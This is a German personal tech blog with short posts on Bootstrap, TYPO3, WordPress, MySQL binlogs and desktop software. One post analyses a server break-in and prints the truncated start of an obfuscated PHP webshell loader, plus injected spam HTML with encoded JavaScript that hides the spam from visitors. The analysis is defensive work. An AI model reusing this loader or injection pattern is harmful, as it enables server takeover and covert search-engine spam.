Debacher-Blog

Uwes Weblog für Texte die (noch) nicht ins Wiki passen
Feb 9

Ich bin gerade dabei mich mit dem Framework Bootstrap zu beschäftigen. Dabei tauchte mal wieder das Problem der gleich langen Spalten auf, das anscheinend in den zugehörigen Anleitungen nirgends beschrieben wird. Ein dreispaltiges Lyout beschreibt man dort z.B. mittels:

<div class="container">
  <div class="row">
    <div class="col-md-3">Spalte1</div>
    <div class="col-md-6">Spalte2</div>
    <div class="col-md-3">Spalte3</div>
  </div>
</div>

Leider sind dabei die Spalten ungleich hoch, abhängig von der Menge an Text, wenn sie einen Hintergrund besitzen. Eine einfache Lösung besteht darin zwei zusätzlich CSS-Klassen einzuführen:

.equal{
    margin-bottom: -99999px;
    padding-bottom: 99999px;
    background-color:#efefef;
}

.equalheight {
    overflow: hidden; 
}

Die drei Spalten werden durch den negativen unteren Rand sehr weit ausgedehnt, gleichzeitig wird dies durch das gleichgroße Padding wieder aufgehoben. Alle Spalten haben also quasi einen unteren Farbigen Rand von 9999 Pixeln. Das äußere Element schneidet den überflüssigen Teil durch das overflow: hidden dann ab, wodurch alle Spalten die gleiche Länge bekommen.

<div class="container equalheight">
  <div class="row">
    <div class="col-md-3 equal">Spalte1</div>
    <div class="col-md-6 equal">Spalte2</div>
    <div class="col-md-3 equal">Spalte3</div>
  </div>
</div>

Weitere Lösungen zu dem gleichen Problem finden sich auf folgenden Seiten:

Jan 19

Es ist nicht ganz einfach Informationen zu finden, wie man bei Typo3 zu korrekten Fehlerseiten kommt, die auch einen 404er Fehlercode zurückliefern, vor allem wenn man mit simulatestatic arbeitet. Untersuchen kann man den gelieferten Fehlercode übrigens recht einfach mit der Firefox-Extension Firebug. In der Rubrik Netzwerk wird dort bei einem Seitenaufruf auch der Statuscode mit angezeigt.

Es gibt bei Typo3-Seiten eigentlich zwei unterschiedliche Situationen:

  1. Typo3 wird direkt (/index.php?id=000) oder indirekt (/000.html) mit einer illegalen id aufgerufen
  2. Die Domain wird mit einer URL aufgerufen, die nicht zur Typo3-Installation passt, z.B. mit einem Unterverzeichnis (/mediawiki/..)

Der erste Fall ist relativ einfach zu regeln, man erstellt in Typo3 eine Fehlerseite (hier fehler404.html) und erweitert die Konfigurationsdatei typo3conf/localconf.php folgendermaßen:

[FE][pageNotFound_handling] = /fehler404.html
[FE][pageNotFound_handling_statheader] = HTTP/1.0 404 Not Found

Damit wird für den Fall einer illegalen id die Fehlerseite aufgerufen und ein 404er Fehlercode zurückgeliefert.

Bleibt noch der zweite Fall. Typo3 würde in der Regel die Startseite liefern, egal was aufgerufen wurde. War in der aufgerufenen URL ein Unterverzeichnis angegeben, so wird das in dem Sinne berücksichtigt, dass Typo3 das Stylesheet nicht mehr findet. Die ausgelieferte Seite sieht also ganz komisch aus.

Um das zu ändern muss man an die Datei .htaccess ran, die man für simulatestatic ja aktivieren musste. Hier die .htacess, so wie sie von Typo3 geliefert wurde, ich habe alle Kommentarzeilen entfernt. Verändert habe ich lediglich die vorletzte Zeile:

<FilesMatch "\.(js|css)$">
  <IfModule mod_expires.c>
    ExpiresActive on
    ExpiresDefault "access plus 7 days"
  </IfModule>
  FileETag MTime Size
</FilesMatch>

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ $1.$3 [L]

RewriteRule ^(typo3/|t3lib/|fileadmin/|typo3conf/|typo3temp/|uploads/|favicon\.ico) - [L]

RewriteRule ^typo3$ typo3/index_re.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule .* index.php?id=000 [L]

</IfModule>

In vielen Versionen der Datei werden nur Dateien mit der Endung .html ersetzt (RewriteRule ^[^/]*\.html$ index.php), hier wird jetzt immer die index.php aufgerufen, wenn die ursprüngliche Datei nicht gefunden wurde. Die index.php wird aber mit einer illegalen id aufgerufen, so dass ein Fehler nach Punkt 1 erzeugt wird. Typo3 wertet die übergebene id als String aus und nicht numerisch, eine id 000 wird es als sicherlich nicht geben, da beim Erzeugen einer Seite die id numerisch festgelegt wird. Die Idee dazu stammt von http://typo3.toaster-schwerin.de/typo3_dev/2008_04/msg00492.html.

Sofern die ursprünglich aufgerufenen id gültig war, spielt diese fehlerhafte id keine Rolle. Eine Erklärung dafür habe ich nicht, eventuell hat das etwas mit der Auswertungsreihenfolge von GET/POST Daten zu tun. Von daher ist nicht sichergestellt, dass dieser Trick auch in zukünftigen Typo3-Versionen funktioniert.

Ein Problem gibt es aber, wenn ein Slash (/) im Dateinamen auftaucht, dann gibt es zwar einen korrekten 404er Returncode, aber eine nackte Fehlerseite, da wieder das CSS nicht gefunden wird.

Mit

RewriteRule ^[^/]*\.html$ index.php [L]

stattdessen werden nur Adresse ohne Slash (/) ersetzt, bei anderen Adressen wird die Fehlerseite des Apache gezeigt, mit korrektem Fehlercode. Nun gibt es zwei unterschiedliche Fehlerseiten, einerseits die in Typo3, andererseits die vom Webserver. In beiden Fällen wird aber ein korrekter Fehlercode geliefert.

 

Dez 22

Das aktuelle Heft (1/2014) der Zeitschrift c’t hat sich mal wieder gelohnt. Auf Seite 59 findet sich ein kleine Beitrag über die Software OCRMyPDF. Damit ist man in der  Lage einfache PDF-Dokumente mit einer Textebene per OCR zu versehen.

Die Software selber gibt es unter https://github.com/fritz-hh/OCRmyPDF zum Download. Ich musste noch das Pakt tesseract nachinstallieren, welches die eigentlich OCR-Arbeit übernimmt.

Das Tool, eine Sammlung von Scripten für sowieso vorhandene Programmpakete, muss nicht weiter installiert werden. Direkt nach dem Entpacken ist es per

 sh OCRmyPDF.sh -l deu quelle.pdf ziel.pdf

ausführbar.

Nov 14

Nach der Aktualisierung von Typo3 oder der Übersetzungen in Typo3 kann es Probleme mit dem Extension-Manager geben. Dort steht dann nur die “neue” Version zur Verfügung und nicht mehr die Punkte für die  “alte Version”.
Wir haben nun zwei Möglichkeiten:

1. Wir lassen sich von Herrn Weiland erzählen, wie die neue Version funktioniert:
http://jweiland.net/typo3-hosting/service/video-anleitungen/typo3-version-45-extension-manager.html

2. Wir schalten das alte Interface wieder frei:
man muss dazu unter Adminwerkzeuge -> Erweiterungen -> Lokale Erweiterungsliste  auf  Extension Manager klicken.
Dort unter Konfiguration bei Alte Module anzeigen den Haken entfernen. Unten auf Aktualisieren klicken, den Haken wieder setzen, erneut auf Aktualisieren klicken.
Also einmal raus, dann wieder rein!!!
Danach oben auf den Blitz Alle Caches löschen.
Nun sollte die komplette Auswahl wieder zur Verfügung stehen, wenn nicht nochmal F5 zum Aktualisieren des Browsers.

Okt 14

Beim Aktualisieren von moneyplex 09 auf moneyplex 12 unter Ubuntu 12.04 hatte ich das Problem, dass die neue Software-Version nicht auf das Internet zugreifen konnte. Damit waren weder Software-Updates noch Konto-Aktualisierungen möglich.

Nach einem hilfreichen Hinweis vom Matrica-Support habe ich dann das Problem in der resolf.conf gefunden.

Mein Arbeitsplatzrechner hat eine feste IP-Adresse (er vergibt auch die IP-Adressen im Netz). Außerdem läuft auf dem Rechner auch der Nameserver für das Netz. Bisher hat das allen Programmen gelangt. Die 12 moneyplex fragt nun wohl irgendwo die resolv.conf ab, was die Version 09 anscheinend nicht machte. Das erklärt auch, warum moneyplex 12 auf anderen Rechnern im Netz problemlos lief, nur auf meinem Hauptrechner nicht. Die anderen Rechner haben ihre Daten per DHCP  bezogen und dabei wird automatisch die resolv.conf aktualisiert.

Ich habe auf meinem Hauptrechner jetzt also die Datei /etc/network/interfaces etwas erweitert:

 auto lo 
 iface lo inet loopback 
 auto eth0 iface eth0 inet static 
 address 192.168.1.1 
 netmask 255.255.255.0 
 gateway 192.168.1.254
 dns-domain debacher.local
 dns-search  debacher.local
 dns-nameservers 192.168.1.1 192.168.1.254

Die ersten 7 Zeilen waren schon vorhanden, ich habe jetzt die drei letzten Zeilen ergänzt. Nach einem /etc/networking/restart wurden die Informationen dann in die /etc/resolv.conf bzw. genaugenommen /run/resolvconf/resolv.conf übernommen.

Schön, dass es Firmen gibt, die sich darum bemühen ihren Kunden bei Problemen zu helfen.

Jun 12

In einem meiner Server hat es einen Einbruch gegeben, vermutlich sogar zwei zur gleichen Zeit. Der Einbrecher hat einen Fehler in der Erweitereung eXtplorer genutzt, um eigene PHP-Scripten auf den Server zu laden. Die PHP-Scripten haben zum Teil vorhandene Dateien überschrieben, aber teilweise auch einfach auch fünfstellige Nummer als Dateinamen gehabt. Die Dateien begannen meist mit:

<?php
$auth_pass = "d738664f57d0cc63169931feb9cb5";
$color = "#df5";$default_action = "FilesMan";$default_use_ajax = true;$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp

Die Angaben hinter $auth_pass variierten jeweils, der Rest war ziemlich gleich. Wenn man das dekodiert, dann bekommt man ein nettes Backdoor-Programm, mit dem man auf dem Server eine ganze Menge anfangen kann. Das reicht von einer eingebauten Shell bis zu Zugriffen auf die Datenbank.

Eine Weile war mir nicht klar, was der Angreifer mit dem Backdoor anfangen wollte. Meine eigenen Scripten und auch die Suchprogramme für Rootkits konnten keine veränderten Systemprogramme finden. Die Erklärung hat sich dann in den Joomla Datenbanken gefunden. Dort fanden sich am Ende von vorhandenen Einträgen in die Tabelle jos_content dann Einträge wie:

Hinweis: Ich haue ein paar Leerzeichen in den Code, damit er nicht ausgeführt wird und verändere natürlich auch die Links.

<!-- rk_czxV1dv1UTfErdQy28 -->
<div class="dnn" id="3743610">    
<p>purchase viagra from oots - <a href="http://lee-spammer.com/#836810">viagra online</a></p></div>
<!-- /rk_czxV1dv1UTfErdQy28 --> <!-- rk_czxV1dv1UTfErdQy29 -->
<div class="dnn" id="967814">    <p>buy cialis india <a href="http://spammpharmacy.com/#348">buy cialis online canada - spammpharmacy.com</a>
 buy cialis paypal payment</p></div><!-- /rk_czxV1dv1UTfErdQy29 --> 
<!-- rk_czxV1dv1UTfErdQy28 -->
<sc ript type="text/javascript">docu ment.wri te(une scape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%65%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%33%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%38%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%37%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%39%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%74%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C%2F%73%63%72%69%70%74%3E'));</script>

Also etwas Spam-Text und dann verdeckter Javascript-Code.

Wenn man den entschlüsselt ergibt sich der folgende Code.

<sc ript language="Java Script">function dnn ViewState(){var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];t=z='';for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t='';}}x[l-a]=z;}doc ument.wr ite('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();</sc ript>

Wenn man das analysiert, dann kommt man zu

<style undefined>.dnn{pos ition:absolute;top:-9999px}</style>

Der Code dient also nur dazu die Textblöcke für den normalen Benutzer unsichtbar zu machen. Google führt den Javascript-Code nicht aus und sieht dann den Text des Spammers, was das Ziel der Übung sein dürfte. Es geht also um die sog. Suchmaschinenoptimierung.

Wenn man wissen will, was der Einbrecher alles verändert hat, dann kann man die Logdateien von MySQL befragen. Dazu gibt man im MySQL-Verzeichnis z.B. ein:

mysqlbinlog --database=meineDatenbank mysql-bin.000129 | grep rk_czx

Damit ermittelt man alle Einträge in der Datei, die sich auf die angegebene Datenbank beziehen. Für eine schnelle Suche übergibt man die Treffer an grep und lässt eine Zeichenkette suche, die man vorher gefunden hat.

Entfernen kann man die Einträge dann direkt in der Datenbank z.B. mit dem Programm phpmyadmin.

Jun 2
WP Cron-Job
icon1 admin | icon2 Tipps und Tricks | icon4 06 2nd, 2013| icon3No Comments »

WordPress benutzt etwas wie einen indirekten Cron-Job. Bei jedem Seitenaufruf durch einen Benutzer wird nachgeschaut, ob etwas zu tun ist und dann ggf. die Seite http://<meine Domain>/wp-cron.php auf. Was dabei irritierend wirkt ist die Tatsache, dass dabei die Serveradresse als aufrufende Adresse in den Logdateien auftaucht.

Man kann aber auf richtige Cron-Jobs umstellen. Dazu fügt man folgende Zeile in die wp-config.php ein:

define(‘DISABLE_WP_CRON’, ‘true’);

und zwar möglichst am Ende direkt vor der Zeile

/* That’s all, stop editing! Happy blogging. */

Dann muss man noch einen Cronjob erstellen nach dem Muster:

-2,32   *       *       *       *    cd /<pfad zu WordPress>/wordpress; php -q wp-cron.php

Aug 19

Zum Ausfüllen von PDF-Formularen benutze ich schon seit Jahren die Software CABAReT Stage von http://www.cabaret-solutions.com/ und möchte die auch nicht mehr missen. Die Software ist zwar nicht frei, aber für Privatanwender kostenlos.

Nach der Neuinstallation meines Rechner mit Ubuntu 12.04 wollte die Installation von CABAReT Stage 4.2.1 in meinem Homeverzeichnis nicht mehr funktionieren. Es erschien zwar die Oberfläche, aber nicht die geöffneten Dokumente. Auch die neuere Version 5.2.1 lief nicht, hier  erscheint die Oberfläche erst gar nicht.

Die Hoempage liefert nur den Hinweis, die Software würde nur mit dem Original Java von SUN/Oracle laufen. Die Installation brachte aber keine Veränderung. Den Logdateien der Software, bzw. den Startmeldungen an der Konsole war aber zu entnehmen, dass Freetype und Ghostscipt irgendwie benötigt werden. Die Software war zwar installiert, nicht aber die Entwicklerdateien. Nun läuft jedenfalls die 4.2.1-Version einwandfrei.

Jun 17

Auf der Suche nach einem fremden Programmierfehler war für mich das bin-log von MySQL nützlich.  Im Verzeichnis /var/lib/mysql, wo auch die Datenbanken liegen, finden sich bei mir mehr als fünfzig Dateien mit fortlaufender Nummerierung der Art mysql-bin.000001 . Dies Dateien beinhalten alle auf dem System ausgeführten SQL-Befehle, also alle Inserts, Updates und dergleichen. Die Inhalte können mit dem Programm mysqlbinlog ausgelesen werden.

mysqlbinlog --database=DBX25631 mysql-bin.000049

Hier werden konkret alle Zugriffe auf die Datenbank DBX25631 ausgegeben, die sich in der Datei mysql-bin.000049 befinden. Datum und Uhrzeit finden sich auch in der Ausgabe:

# at 487195020
#120610 19:59:36 server id 1  end_log_pos 487195168     Query   thread_id=468274        exec_time=0     error_code=0
SET TIMESTAMP=1339351176/*!*/;
INSERT INTO `jos_acajoom_xonfig` VALUES ('date_update', '2011-08-15 14:54:54', 0)
/*!*/;

Mit diesen Informationen hat man eine Chance fehlerhafte Zugriffe zu erkennen.

Leider werden die Dateien sehr groß (je 1GB) und ihre Zahl scheint nicht beschränkt zu sein (die Stellenzahl lässt mich erschrecken).

Im Abschnitt [mysqld] der Konfigurationsdatei /etc/my.conf lässt sich die Lebensdauer der Logdateien beschränken, im Beispiel auf  90 Tage.

expire_logs_days = 90

Das sollte den Speicherplatzbedarf deutlich reduzieren.

 

Feb 17

Nach längerer Vorbereitungszeit habe ich jetzt mein Evolution von POP3 auf IMAP-Nutzung umgestellt. Die Umstellung war eigentlich ganz einfach, ich habe einfach unter Einstellungen für mein Standard-Postfach unter Abrufen von E-Mails statt POP in der Drop-Down-Liste IMAP ausgewählt. Seitdem gibt es nun zwei Gruppen von Ordnern, einerseits die POP-Ordner unter Auf diesem Rechner und die neuen IMAP-Ordner unter Uwe@Debacher.de. Nun kann ich meine Mails aus den alten Ordnern einfach in die neuen Ordner kopieren, wodurch mir auch meine alten Mails jetzt unter IMAP zur Verfügung stehen. Das dauert zwar etwas, ich habe auch etwa 4GB alte Mails, aber einfacher kann es kaum sein.

Womit ich etwas Probleme hatte sind die Mail-Filter. Ich habe die alle so verändert, dass sie die neu erstellten Ordner als Ziel nutzen, das hat aber nicht automatisch funktioniert. Ich musste erst unter den Einstellungen des IMAP Kontos auf Empfangsoptionen klicken und dort ein Häkchen setzen bei: “Filter auf neue Nachrichten in INBOX dieses Servers anwenden”.

« Previous Entries